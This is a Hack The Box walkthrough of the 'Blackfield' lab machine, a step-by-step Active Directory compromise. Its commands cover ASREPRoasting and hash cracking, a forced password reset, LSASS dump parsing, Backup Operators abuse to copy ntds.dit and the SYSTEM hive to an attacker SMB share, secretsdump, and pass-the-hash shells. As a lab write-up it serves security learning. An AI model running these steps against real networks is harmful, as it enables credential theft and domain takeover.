Blackfield

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.192 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p53,88,135,139,389,445,593,3268,5985,49676 10.10.10.192 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Port 53 is open, so we can enumerate all the possible subdomains for the blackfield.local domain name with dig.

dig any blackfield.local @10.10.10.192

Let's add all these subdomain names to the /etc/hosts file.

nano /etc/hosts

Let' keep enumerating the domain controller. We can check if there is any interesting share hosted in the SMB server.

smbmap -H 10.10.10.192 -u 'guest'

If we check the share, we'll see a bunch of directories called like possible users.

smbmap -H 10.10.10.192 -u 'guest' -r profiles$

Exploitation

Let's put those usernames in the users file.

smbmap -H 10.10.10.192 -u 'guest' -r profiles$ | grep "dr--r--r--" | awk '{print $8}' > users

As the domain controller has the Kerberos service exposed, we can verify if any of these users is valid using kerbrute.

kerbrute_linux_amd64 userenum --dc 10.10.10.192 -d blackfield.local users

Now that we have a list of valid users, put them into a file, and let's try to do an ASREPRoast attack.

ASREPRoast attack: when a user does not need pre-authentication, it is possible to obtain a TGT, without knowing the user's credentials, which contain data encrypted with the user's hash, which can be used for offline cracking.

impacket-GetNPUsers blackfield.local/ -no-pass -usersfile valid_users

  • -no-pass don't ask for password.

  • -usersfile file which contains user per line.

We get a hash of the support user. Let's try to break it with john.

john -w=/usr/share/wordlists/rockyou.txt hash

Let's use the credentials that we have to enumerate the domain controller more in depth with bloodhound-python.

bloodhound-python -c All -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local

Now, we have to start BloodHound. First, we have to start neo4j.

neo4j console

Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. You’ll have to change the password.

On a new console, run BloodHound.

bloodhound -nosandbox

Then log in with the credentials you set up earlier.

Then, click on the Upload Data button on the right section and select all the .json files generated with bloodhound-python.

Once all the .json files are uploaded, search for the user support@blackfield.local, and we'll see in the First Degree Object Control section that the support user has the privilege to change the password of the audit2020 user.

We can change the password of the audit2020 user as support using rpcclient.

rpcclient -N -U 'support%#00^BlackKnight' 10.10.10.192 -c "setuserinfo2 audit2020 23 alfa8sa123$"

Verify that the credentials are valid.

crackmapexec smb 10.10.10.192 -u 'audit2020' -p 'alfa8sa123$'

Now that we have valid credentials for the audit2020 user, let's see if we have access to any other share.

smbmap -H 10.10.10.192 -u 'audit2020' -p 'alfa8sa123$'

There is one more interesting share in which we have read permissions. Let's mount the forensic share to our local system.

mount -t cifs //10.10.10.192/forensic /mnt/forensic/ -o "username=audit2020,password=alfa8sa123!$,domain=BLACKFIELD.local,rw"

Inside there is a directory called memory_analysis.

ls -l /mnt/forensic/

This directory has ZIP files. There is one called lsass.zip. If this file has the LSASS memory compressed in it, we could extract passwords and hashes from it.

ls -l /mnt/forensic/memory_analysis/

Transfer it to our current directory, and decompress it.

cp /mnt/forensic/memory_analysis/lsass.zip .

unzip lsass.zip

Now we have the lsass.DMP file. Usually, the LSASS memory is dumped from the local Windows system using Mimikatz, but as we don't have access to the system we can use a tool called pypykatz.

pypykatz lsa minidump lsass.DMP

Among other hashes, we get the NTLM hash of the svc_backup, which seems to be in the Remote Management Users because we can get a shell via WinRM. Then, we'll be able to grab the user flag.

evil-winrm -i 10.10.10.192 -u 'svc_backup' -H 9658d1d1dcd9250115e2205d9f48400d

Privilege Escalation

Indeed, the svc_backup user is a member of the Remote Management Users, but it is also a member of the Backup Operators group.

The Backup Operators group grants its members the SeBackup and SeRestore privileges. The SeBackupPrivilege allows you to traverse any folder and list the folder contents and copy a file from a folder, even if nothing else is giving you permission.

net user svc_backup

The idea is to copy the ntds.dit file to our system, so we can extract the NTLM hashes of all the domain users. We can follow the article Dumping Domain Password Hashes.First, set a simple SMB server on the current directory.

impacket-smbserver smbFolder $(pwd) -smb2support

Now, go the \windows\temp, create the directory privEsc, and get in there.

cd \windows\temp

mkdir privEsc

cd privEsc

Then, create a new file called diskshadow.txt and upload it to the victim machine. Make sure to add a blank space at the end of each line.

nano diskshadow.txt

upload /home/alfa8sa/HTB/machines/blackfield/diskshadow.txt

Run the diskshadow tool together with the diskshadow.txt to create a new logical disk and create a copy of C:\ in it.

diskshadow.exe /s diskshadow.txt

Now, we should see the ntds.dit in the z: disk.

dir z:\windows\ntds

Let's copy it to our local SMB server with robocopy.

robocopy /b z:\windows\ntds \10.10.14.5\smbFolder\ ntds.dit

We will also need a copy of HKLM\system.

reg save HKLM\system \10.10.14.5\smbFolder\system

Finally, we can extract the NTLM hashes with secretsdump.

impacket-secretsdump -system system -ntds ntds.dit LOCAL

As we have the NTLM hash of the administrator user, we can get a shell. Then, all we have to do is reap the harvest and take the root flag.

evil-winrm -i 10.10.10.192 -u 'administrator' -H 184fb5e5178480be64824d4cd53b99ee

Last updated

Was this helpful?